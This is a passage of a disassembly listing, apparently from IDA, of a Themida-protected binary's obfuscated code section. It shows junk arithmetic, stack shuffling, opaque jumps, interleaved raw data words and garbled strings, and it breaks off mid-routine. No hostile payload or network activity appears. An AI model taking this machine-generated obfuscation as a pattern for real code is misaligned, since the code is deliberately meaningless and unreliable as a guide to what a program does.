loc_563A45:				; CODE XREF: Themida_:0055F9E9j
		push	ebp
		mov	ebp, 45AB4216h
		or	ebp, 31E9438Ah
		push	edi
		mov	edi, 1711067Ah
		xor	edi, 5DDF6A5Fh
		add	edi, 33C7602Fh
		or	edi, 24FA417Fh
		xor	edi, 623D9DC5h
		and	ebp, edi
		jmp	loc_55E394
; ---------------------------------------------------------------------------


loc_563A76:				; CODE XREF: Themida_:00566630j
		mov	esi, 381325DDh
		jmp	loc_56C2E4
; ---------------------------------------------------------------------------
aJy3ysoi	db '╦├Y3YИO⌡',0
		align 2


loc_563A8A:				; CODE XREF: Themida_:0056FC0Dj
		add	edi, 21221899h
		dec	edi
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edi, eax
		pop	eax
		push	7AFDh
		jmp	loc_560B34
; ---------------------------------------------------------------------------


loc_563AA4:				; CODE XREF: Themida_:0055DC12j
		mov	esi, 50700D86h
		add	esi, 0BEDBF8E9h
		jmp	loc_56A8B2
; ---------------------------------------------------------------------------
		dd 5FF0B951h, 4C29285Dh, 1590824h, 8104245Ch, 0F0042444h
		dd 5B285D5Fh, 4B95158h,	5000000h, 31AB013Dh, 3D2DC801h
		dd 0E931AB01h, 0C928h, 0E924148Bh, 0FFFFA078h, 0E830CEB5h
		dd 8320E9h, 48F5F00h, 0AD73E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563AFE:				; CODE XREF: Themida_:00566479j
		add	ebx, 1
		push	ecx
		mov	ecx, 15C249Bh
		shr	ecx, 3
		shl	ecx, 6
		neg	ecx
		dec	ecx
		jmp	loc_5688BA
; ---------------------------------------------------------------------------


loc_563B15:				; CODE XREF: Themida_:005681E6j
		pop	esp
		push	edi
		jmp	loc_56474E
; ---------------------------------------------------------------------------


loc_563B1C:				; CODE XREF: Themida_:005690B0j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5638CA
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 9017E9h, 24148900h, 0B753C6B6h, 0B551661Eh, 66E800D9h
		dd 2CF80059h, 0A1045BD9h, 0F0284A2Ch, 80E7B753h, 0E78085E7h
		dd 3BEF80A5h, 535BF800h, 0D828A1B3h, 4EC835Bh, 0E9241489h
		dd 0D0B1h
; ---------------------------------------------------------------------------


loc_563B70:				; CODE XREF: Themida_:0055F57Aj
		sub	eax, 17B14280h
		mov	esi, eax
		pop	eax
		jmp	loc_56CE9F
; ---------------------------------------------------------------------------


loc_563B7D:				; CODE XREF: Themida_:0057032Cj
		push	4390h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	49E6h
		mov	[esp], ecx
		push	67E1h
		jmp	loc_566908
; ---------------------------------------------------------------------------


loc_563B9B:				; CODE XREF: Themida_:00560D5Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89240489h, 4BF57E0h,	1000000h, 243C8BF8h, 2D04C483h
		dd 4, 5C240487h, 50241489h, 6602EC83h, 0E9240C89h, 0A1DCh
		dd 4247C01h, 2434FF5Fh,	994E9h
		db 0
; ---------------------------------------------------------------------------


loc_563BE5:				; CODE XREF: Themida_:005706D3j
		push	esi
		jmp	loc_56EDD6
; ---------------------------------------------------------------------------


loc_563BEB:				; CODE XREF: Themida_:0055CAFFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_565E19
; ---------------------------------------------------------------------------


loc_563BFF:				; CODE XREF: Themida_:0055E0F6j
		neg	esi
		jmp	loc_56A9BC
; ---------------------------------------------------------------------------
		dw 0CBB9h
		dd 0BE719A36h, 8E65C939h, 0FFDF96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563C15:				; CODE XREF: Themida_:00560579j
		pop	ebx
		add	esp, 4
		sub	esi, 60D33F58h
		add	esi, ecx
		jmp	loc_56C259
; ---------------------------------------------------------------------------


loc_563C26:				; CODE XREF: Themida_:0056489Ej
		xor	eax, 0DDA03693h
		jmp	loc_56BE64
; ---------------------------------------------------------------------------


loc_563C30:				; CODE XREF: Themida_:0055F0F1j
		movzx	eax, al
		jmp	loc_55F798
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4C481h, 0BB530000h, 491D495Ah, 8103EBC1h
		dd 6B44C0CBh, 32E95036h, 1000090h, 0EA815DEBh, 20EF68A0h
		dd 0C281DA01h, 20EF68A0h, 0A8C2815Bh, 81638B4Ch, 0D3628EEAh
		dd 81C20115h, 0D3628EC2h, 0CBE95615h, 59FFFFF8h, 0E5D68h
		dd 242C8900h, 4EC81h, 43E90000h, 8300000Ah, 0C8904ECh
		dd 2474FF24h, 48F5904h,	6AE95C24h, 81000026h, 0F07499CFh
		dd 7CB85044h, 354BCB6Fh, 3F0C78ABh, 0D0E9E0D1h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563CC3:				; CODE XREF: Themida_:0055C756j
		shr	edx, 7
		push	ebp
		mov	ebp, 1620D3Ah
		xor	edx, ebp
		pop	ebp
		mov	ebx, edx
		pop	edx
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55C68E
; ---------------------------------------------------------------------------


loc_563CDF:				; CODE XREF: Themida_:0056F326j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_55FD21
; ---------------------------------------------------------------------------


loc_563CF1:				; CODE XREF: Themida_:00563F72j
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_56FA83
; ---------------------------------------------------------------------------
aBaSs		db '│М#Ё|\ИS`',0
		align 4


loc_563D08:				; CODE XREF: Themida_:0056FEEAj
		sub	al, 52h
		and	dh, al
		mov	eax, [esp]
		add	esp, 4
		shr	dh, 6
		xor	dh, 72h
		push	cx
		mov	cl, 12h
		add	dh, cl
		pop	cx
		add	bl, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_55D3A6
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1
aSets		db '≤┘БИп°',0
		align 4
		dd 2434FF5Ch, 5A5B6858h, 2C890000h, 2FE95424h, 0FFFFFFD1h
		dd 58042474h, 8B24048Fh, 34892424h, 74A1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563D62:				; CODE XREF: Themida_:0056E785j
		add	esi, eax
		sub	esi, 444A0B32h
		push	ecx
		mov	ecx, 126A7C20h
		shl	ecx, 2
		shr	ecx, 5
		neg	ecx
		dec	ecx
		xor	ecx, 8E109CE5h
		jmp	loc_5651B6
; ---------------------------------------------------------------------------
		dd 4246C81h, 10234183h,	0A53E9h, 11EB8000h, 805BD988h
		dd 0E952BAE9h, 39C9h
; ---------------------------------------------------------------------------


loc_563DA0:				; CODE XREF: Themida_:0055E2D6j
		push	2B37h
		jmp	loc_55EDCD
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0B850240Ch, 53472287h, 158C189h, 0A7C3E9CBh,	0BB530000h
		dd 1675744Ah, 0FADCEB81h, 0D8299F4Fh, 57241C8Bh, 5E9E789h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563DD7:				; CODE XREF: Themida_:0055FAE5j
		shr	ebp, 1
		xor	ebp, 0E663E3Ah
		add	ebp, 3E040734h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 7BA6511Ch
		add	ebx, 481E0579h
		sub	ebx, eax
		push	ebp
		mov	ebp, 29634DCBh
		or	ebp, 614A2CE8h
		jmp	loc_56CE10
; ---------------------------------------------------------------------------


loc_563E07:				; CODE XREF: Themida_:00567FEEj
		mov	edi, 39A67FD7h
		jmp	loc_564496
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048124h, 4, 0E50E9h, 58C58900h, 585DEA01h,	0C4CDE956h
		dd 0C668FFFFh, 89000049h, 12BA2414h, 8116560Ch,	0A9F3F2C2h
		dd 5AD601E9h, 4BF57h, 0FE290000h, 74FF565Fh, 7BE90424h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E57:				; CODE XREF: Themida_:0056AAA5j
		push	6A08h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_56A647
; ---------------------------------------------------------------------------


loc_563E6C:				; CODE XREF: Themida_:00565ECDj
		pop	esp
		pop	ecx
		jmp	loc_567024
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 0FFFA29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E81:				; CODE XREF: Themida_:0056E046j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_55F802
; ---------------------------------------------------------------------------
		dd 20D6EB81h, 57430292h, 0FFC5FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E9D:				; CODE XREF: Themida_:0055E1AEj
		shl	edx, 1
		xor	edx, 0AF21F7F4h
		push	edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		sub	eax, 1E56227Dh
		add	eax, esi
		add	eax, 1E56227Dh
		pop	esi
		jmp	loc_5611DE
; ---------------------------------------------------------------------------
		db 52h
		dd 61E9EE88h, 68FFFFECh, 6970h,	8594E9h, 6688B300h, 0E99BB450h
		dd 827Eh, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7DE929F1h
		jmp	loc_56250E
; ---------------------------------------------------------------------------


loc_563EEE:				; CODE XREF: Themida_:0055DCA7j
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0BFh
		shl	dl, 7
		push	bx
		push	7675h
		mov	[esp], eax
		jmp	loc_564934
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 81000000h, 0CF042444h, 1766D55h, 5004246Ch, 6D55CFB8h
		dd 24442976h, 1EE95808h, 5200005Eh, 4040EABAh, 0E9D1897Dh
		dd 0B4E0h
; ---------------------------------------------------------------------------


loc_563F38:				; CODE XREF: Themida_:00565C38j
		mov	[esp], ebx
		push	34DE15A8h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_56E9AB
; ---------------------------------------------------------------------------
aSvsR		db 'SVИо░',0
		align 2


loc_563F66:				; CODE XREF: Themida_:0056ACE4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_563CF1
; ---------------------------------------------------------------------------


loc_563F77:				; CODE XREF: Themida_:0056B332j
		push	ebp
		mov	ebp, 18F5911h
		jmp	loc_569BCF
; ---------------------------------------------------------------------------


loc_563F82:				; CODE XREF: Themida_:0057012Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	18FEh
		mov	[esp], ebp
		push	edx
		sub	esp, 4
		jmp	loc_56F64B
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 4
		dd 0FFEE65E9h, 0E95255FFh, 0FFFFD315h, 0ECABF57h, 21E90DEAh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FB3:				; CODE XREF: Themida_:00567ADAj
		push	ebp
		jmp	loc_55E1DE
; ---------------------------------------------------------------------------


loc_563FB9:				; CODE XREF: Themida_:005644A3j
		or	edi, 41057B10h
		sub	edi, 7054EE21h
		sub	ebx, edi
		jmp	loc_56007B
; ---------------------------------------------------------------------------


loc_563FCC:				; CODE XREF: Themida_:005655FEj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	edx, 5059095Eh
		push	edx
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		neg	edi
		xchg	edi, [esp]
		jmp	loc_56235A
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFAFFEh
; ---------------------------------------------------------------------------


loc_564000:				; CODE XREF: Themida_:0056EB62j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	6707351h
		pop	eax
		xor	eax, 739A1A58h
		xor	eax, 75EA690Dh
		jmp	loc_56EED7
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8159CB01h, 4ECh, 241C8900h, 42474FFh, 24048F5Bh
		dd 0B46CE9h, 5AD38800h,	0E9DC0059h, 0FFFF9E33h
; ---------------------------------------------------------------------------


loc_56404C:				; CODE XREF: Themida_:0056FE9Bj
		xchg	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_56A878
; ---------------------------------------------------------------------------


loc_564056:				; CODE XREF: Themida_:00569BC3j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	2C6432FAh
		pop	edx
		xor	edx, 13C36B20h
		mov	ebp, edx
		pop	edx
		xor	edi, ebp
		jmp	loc_564D29
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 7Ah
		dd 0E90A1D6Fh, 18D7h, 24348B5Dh, 4C481h, 1C870000h, 24248B24h
		dd 0E92434FFh, 0FFFF8F20h, 240C8B66h, 8904EC83h, 5954240Ch
		dd 8EAEE956h, 0E9580000h, 0B16Dh, 0E9D1D9F7h, 26AAC181h
		dd 0E7E9E8FCh, 81FFFFA4h, 6D499BC6h, 2BC6810Dh,	5A62C564h
		dd 896AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5640D5:				; CODE XREF: Themida_:0056EB6Fj
		shl	eax, 3
		sub	eax, 0C68F32E9h
		shr	eax, 1
		not	eax
		inc	eax
		dec	eax
		neg	eax
		jmp	loc_56B8E2
; ---------------------------------------------------------------------------
		dw 0E22Dh
		dd 0E92F020Ch, 2DF1h
; ---------------------------------------------------------------------------


loc_5640F4:				; CODE XREF: Themida_:0056A1B3j
		push	5B7Ah
		mov	[esp], ecx
		mov	ch, 11h
		shr	ch, 4
		push	dx
		push	ebx
		jmp	loc_565882
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0F9h
		dd 0C1131741h, 0CB8102E3h, 379B2634h, 0B42C381h, 0EB8157E2h
		dd 0D77D3332h, 295BD889h, 0C8758C1h, 0C34BE924h, 535CFFFFh
		dd 0E3C053B3h, 0FAFE907h, 0F0010000h, 9402D5Eh,	34FF5FC1h
		dd 53E95F24h, 8B000008h, 33E92424h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564157:				; CODE XREF: Themida_:00562108j
		and	esi, 6996A80h
		sub	esi, 0C4B8FE21h
		add	eax, 11EA2CDEh
		add	eax, esi
		sub	eax, 11EA2CDEh
		pop	esi
		jmp	loc_56CB9E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0F75CEB68h, 2434FF55h, 8324348Bh, 0E95604C4h, 0FFFFBDD5h
		dd 0FF833BE9h, 227D35FFh, 2DE946D0h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56419B:				; CODE XREF: Themida_:0056C3C4j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_56AA82
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56428C
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 3B24E9h
		db 0
; ---------------------------------------------------------------------------


loc_5641DD:				; CODE XREF: Themida_:00560F59j
		mov	ecx, eax
		pop	eax
		add	dword ptr [esp+4], 3FE4570Ch
		jmp	loc_56145F
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 5124048Fh, 20BE5657h, 81110C52h, 3A1B87EEh, 0E9D6F72Dh
		dd 0C710h, 0A9C2F181h, 2FE96134h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564217:				; CODE XREF: Themida_:0056C959j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_560E73
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF8A0FE9h, 58C689FFh, 0EEC1DEF7h, 1EE8105h,	57000000h
		dd 718BFBBFh, 0FFFE29C2h, 835F2434h, 9BE904C4h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56424F:				; CODE XREF: Themida_:0056138Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_565E2B
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2404895Ch, 3F08D8B8h, 0FBB3E910h, 34FFFFFFh,	219BE924h
		dd 77FF0000h, 58669D1Ch, 24041966h, 8246E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564286:				; CODE XREF: Themida_:0055D3E5j
		push	ebp
		jmp	loc_5649F4
; ---------------------------------------------------------------------------


loc_56428C:				; CODE XREF: Themida_:005641D1j
		mov	esi, 262C0DE6h
		add	[esp+4], esi
		jmp	loc_55DF3D
; ---------------------------------------------------------------------------


loc_56429A:				; CODE XREF: Themida_:0055FD37j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	edi
		mov	edi, 61D00C48h
		and	edi, 1BCD56AAh
		sub	edi, 0F7BCA9ABh
		mov	eax, edi
		pop	edi
		jmp	loc_564899
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 4
		dd 0D5FBD55h, 0C581678Eh, 0B23F3CCBh, 815DE929h, 0FFFFFFC1h
		dd 0DCFEE9FFh, 0FF5DFFFFh, 0E9582434h, 9C85h, 68241C89h
		dd 1987h, 68240C89h, 1AA6h, 0FFA60FE9h,	0C7815FFFh, 4
		dd 8904EC83h, 0BF572404h, 66CE6B9Dh, 0E95FF889h, 0FFFFD216h
		dd 2266C681h, 0E9813AEAh, 1BB36808h, 0AFE9F101h, 80000066h
		dd 0EE8051EEh, 0C0D6F6C6h, 0C68006E6h, 0E9F30065h, 0B54Bh
; ---------------------------------------------------------------------------


loc_564348:				; CODE XREF: Themida_:005610E2j
		shl	eax, 3
		xor	eax, 77432C4Ch
		push	ebx
		mov	ebx, 0D131F978h
		xor	eax, ebx
		pop	ebx
		mov	edx, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55F9DF
; ---------------------------------------------------------------------------


loc_564370:				; CODE XREF: Themida_:0056D76Aj
		add	esp, 4
		shl	edi, 3
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	3020D70h
		pop	ebp
		shl	ebp, 4
		jmp	loc_55ED0A
; ---------------------------------------------------------------------------


loc_56438E:				; CODE XREF: Themida_:0055ED16j
		add	edi, 561249ECh
		sub	edi, ebx
		sub	edi, 561249ECh
		pop	ebx
		jmp	loc_56D3D1
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 4016E9h, 31D73100h, 9FDFE9FAh
		dd 4FF0000h, 5E99C24h, 5BFFFF81h, 5D0EC581h, 47E93C93h
		dd 83000006h, 0EF8104C4h, 38092123h, 0FFE6F2E9h, 2474FFFFh
		dd 0E8E95B04h, 81000008h, 0B12F32F3h, 9EE5E921h, 0F75FFFFFh
		dd 0F4E945D5h, 54FFFFC7h, 0BB53575Bh, 66E461C5h, 0CE0CC5BFh
		dd 5BDF3142h, 9304C781h, 0FB01DBD5h, 0C5D5E95Fh, 45BFFFFh
		dd 51F0286Bh, 0FF9CBBE9h, 0DE0059FFh, 80CEFE5Bh, 0EEC05BF6h
		dd 7E6C005h, 0E9E9B450h, 0FFFF9267h, 0C581E589h, 4, 4C581h
		dd 2C870000h, 0CB015C24h, 0FFB270E9h, 8FC681FFh, 158D3A1h
		dd 0DD015EF3h, 4C5815Bh, 33000000h, 2C31242Ch, 242C3324h
		dd 0B327E95Ch, 14890000h, 0A5B55124h, 0E93DCD80h, 0FFFFB7FDh
; ---------------------------------------------------------------------------


loc_564488:				; CODE XREF: Themida_:005650CAj
		and	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 26D638ABh
		jmp	loc_562978
; ---------------------------------------------------------------------------


loc_564496:				; CODE XREF: Themida_:00563E0Cj
		or	edi, 71627FCEh
		inc	edi
		add	edi, 6CB240C4h
		jmp	loc_563FB9
; ---------------------------------------------------------------------------
		dd 405h, 42D00h, 4870000h, 50E95C24h, 330000C5h, 0C31240Ch
		dd 0A8D4E924h, 0C4810000h, 4, 3B6EF581h, 0ED8142AEh, 0C548E555h
		dd 0F6E9EF01h, 0B8FFFFA6h, 2C0F4AF1h, 5958C529h, 8B2434FFh
		dd 0C483243Ch, 0E7895704h, 4C781h, 0A2E90000h, 29FFFFFAh
		dd 52042474h, 59FA6853h, 1C8B1380h, 0F3C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564512:				; CODE XREF: Themida_:0055F38Dj
		push	2776h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_569A7A
; ---------------------------------------------------------------------------


loc_564523:				; CODE XREF: Themida_:0055FF1Aj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_567815
; ---------------------------------------------------------------------------


loc_564532:				; CODE XREF: Themida_:00568E79j
		or	ecx, 35207DD1h
		not	ecx
		push	5E3Ch
		mov	[esp], eax
		mov	eax, 90B0F9D4h
		xor	ecx, eax
		pop	eax
		push	ecx
		mov	edi, [esp]
		jmp	loc_56FBF4
; ---------------------------------------------------------------------------


loc_564553:				; CODE XREF: Themida_:0056DB58j
		push	dword ptr [esp]
		pop	ecx
		push	4F2Bh
		mov	[esp], eax
		push	7EF1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	4562h
		mov	[esp], ebx
		jmp	loc_55D719
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 6804C483h, 1E96h, 54240C89h,	0A4D7E959h, 0C481FFFFh
		dd 4, 4EC81h, 0A2E90000h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56459F:				; CODE XREF: Themida_:00560CB4j
		not	dword ptr [esp]
		jmp	loc_562415
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 0A968242Ch, 89000052h, 4832424h, 0E95D0424h
		dd 0BF53h, 6804C483h, 69BEh, 89243C89h,	4C781E7h, 0E9000000h
		dd 4C25h
; ---------------------------------------------------------------------------


loc_5645D8:				; CODE XREF: Themida_:00565284j
		xor	edx, 0FFE9BFAFh
		jmp	loc_5661F3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241C89h, 0FFFFDCEDh, 240C8B66h, 5E08950h,	4, 8704E883h
		dd 895C2404h, 0E0892404h, 6E7CE9h, 5A68BB00h, 45E911C6h
		dd 8100006Ch, 2C1h, 240C8700h, 0FFFB11E9h, 0EA015DFFh
		dd 0E9FA015Dh, 0A0BEh, 8704EE83h, 49E92434h, 3500008Fh
		dd 335A27CBh, 0A09AD6BBh, 0FFC3297Dh, 83582434h, 0EBC104C4h
		dd 9FFCE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564652:				; CODE XREF: Themida_:005704A9j
		push	4C3Bh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5650CF
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 4
		dd 0D0F6B104h, 8E34CE34h, 0E958C300h, 0A6F6h, 21CA81h
		dd 99686B61h, 89000042h, 0CFBD242Ch, 1595B5Bh, 0DAF75DEAh
		dd 0EA81D2F7h, 802C4D6Ch, 0E95AD501h, 0BFB6h, 0FF7E2BE9h
		dd 0F58145FFh, 0DA7A8005h, 295DE989h, 0E95059C8h, 7273h
		dd 24048966h, 0FF7E0FE9h, 2E0558FFh, 590EFF0Eh,	8158C329h
		dd 785733EBh, 0E9D30159h, 0FFFF906Bh, 0ED65E958h, 3C89FFFFh
		dd 0E9DF8924h, 0C988h, 4EC81ACh, 0E9000000h, 0FFFFFD8Ah
		dd 4C781h, 0EF830000h, 0E2F0E904h, 815EFFFFh, 48359EC5h
		dd 9BB9515Dh, 10D3113h,	0C58159CDh, 767B7AF4h, 0ED81CD29h
		dd 767B7AF4h, 139BED81h, 0ED810D31h, 5D48359Eh,	53A9E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56472E:				; CODE XREF: Themida_:0056CB75j
		push	edx
		mov	edx, 4
		sub	esi, 62D85BF9h
		add	esi, edx
		add	esi, 62D85BF9h
		pop	edx
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_56EF57
; ---------------------------------------------------------------------------


loc_56474E:				; CODE XREF: Themida_:00563B17j
		push	dword ptr [esp+4]
		jmp	loc_570039
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EBF581D5h, 81FA89D1h, 0BD6BA6EBh, 0A3EB8119h, 161990Fh
		dd 3015E9EBh, 5E540000h, 4C681h, 0BB530000h, 4,	4B95E9h
		dd 0C2815A00h, 4, 0AE20E9h
		db 0
; ---------------------------------------------------------------------------


loc_564791:				; CODE XREF: Themida_:0056832Cj
		push	2DEDh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5603D9
; ---------------------------------------------------------------------------


loc_5647AC:				; CODE XREF: Themida_:005611E6j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]


loc_5647B8:				; CODE XREF: Themida_:0056CC75j
					; Themida_:0056E227j
		push	eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55CC34
; ---------------------------------------------------------------------------


loc_5647DC:				; CODE XREF: Themida_:0056E080j
		push	dword ptr [esp]
		jmp	loc_562732
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 0D9E90000h, 81FFFF7Ch, 6D98DDF2h
		dd 8BD631C3h, 6BE92414h, 51000077h, 0EC8199B5h,	2, 241C8966h
		dd 0B512E9h
		db 0
; ---------------------------------------------------------------------------


loc_564815:				; CODE XREF: Themida_:0056E3B1j
		xor	esi, 7D2E0111h
		sub	esi, 32D8E6ECh
		jmp	loc_565A7F
; ---------------------------------------------------------------------------


loc_564826:				; CODE XREF: Themida_:0056D63Aj
		push	edi
		push	esi
		mov	esi, 76274DA2h
		mov	edi, 89D8B262h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_560102
; ---------------------------------------------------------------------------
		dd 24248B66h, 0FF7C87E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564845:				; CODE XREF: Themida_:0056A201j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 3DC12BD7h
		jmp	loc_55CBE3
; ---------------------------------------------------------------------------


loc_564856:				; CODE XREF: Themida_:00566C47j
		pop	ebx
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5667CC
; ---------------------------------------------------------------------------
		db 8Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, esi
		jmp	loc_55D95E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0C4h
		dd 898800F6h, 3240E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564886:				; CODE XREF: Themida_:0055C67Cj
		push	ebp
		jmp	loc_55EC84
; ---------------------------------------------------------------------------


loc_56488C:				; CODE XREF: Themida_:0056A75Cj
		sub	ecx, 7A4C5DEFh
		add	ecx, eax
		jmp	loc_55F12D
; ---------------------------------------------------------------------------


loc_564899:				; CODE XREF: Themida_:005642C4j
		sub	eax, 2C6323C6h
		jmp	loc_563C26
; ---------------------------------------------------------------------------
		db 29h
		dd 4EC83D8h, 8FD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5648AD:				; CODE XREF: Themida_:0055ECC3j
		or	edi, ebx
		pop	ebx
		jmp	loc_568C12
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0E1h
		dd 3979E9h
		db 0
; ---------------------------------------------------------------------------


loc_5648BD:				; CODE XREF: Themida_:005700FAj
		add	ebp, 2380F7C0h
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_55C58B
; ---------------------------------------------------------------------------


loc_5648CD:				; CODE XREF: Themida_:0055E1E9j
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_565C7B
; ---------------------------------------------------------------------------
		db 88h
		dd 2EE958C3h, 2DFFFFC6h, 627837A8h, 48DE2D40h, 77E99DE4h
		dd 81FFFFBAh, 0DC6FF6E6h, 0B56CE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564906:				; CODE XREF: Themida_:00564B16j
		add	edx, eax
		pop	eax
		add	edx, ebp
		jmp	loc_561BD3
; ---------------------------------------------------------------------------
		dd 0AAAE66BAh, 5AD701D7h, 0AF48E9h, 37BC6800h, 425A094Dh
		dd 1C46E9h, 0DCC58100h,	0E91D2302h, 5159h
; ---------------------------------------------------------------------------


loc_564934:				; CODE XREF: Themida_:00563F04j
		mov	ah, 0F1h
		mov	bl, 39h
		xor	bl, ah
		pop	eax
		xor	dl, bl
		mov	bx, [esp]
		jmp	loc_56290C
; ---------------------------------------------------------------------------


loc_564946:				; CODE XREF: Themida_:0056ABBAj
		sub	eax, 62BF0F7Bh
		jmp	loc_56EE64
; ---------------------------------------------------------------------------


loc_564950:				; CODE XREF: Themida_:00568021j
		push	ebx
		mov	bl, 8Eh
		xor	bl, 86h
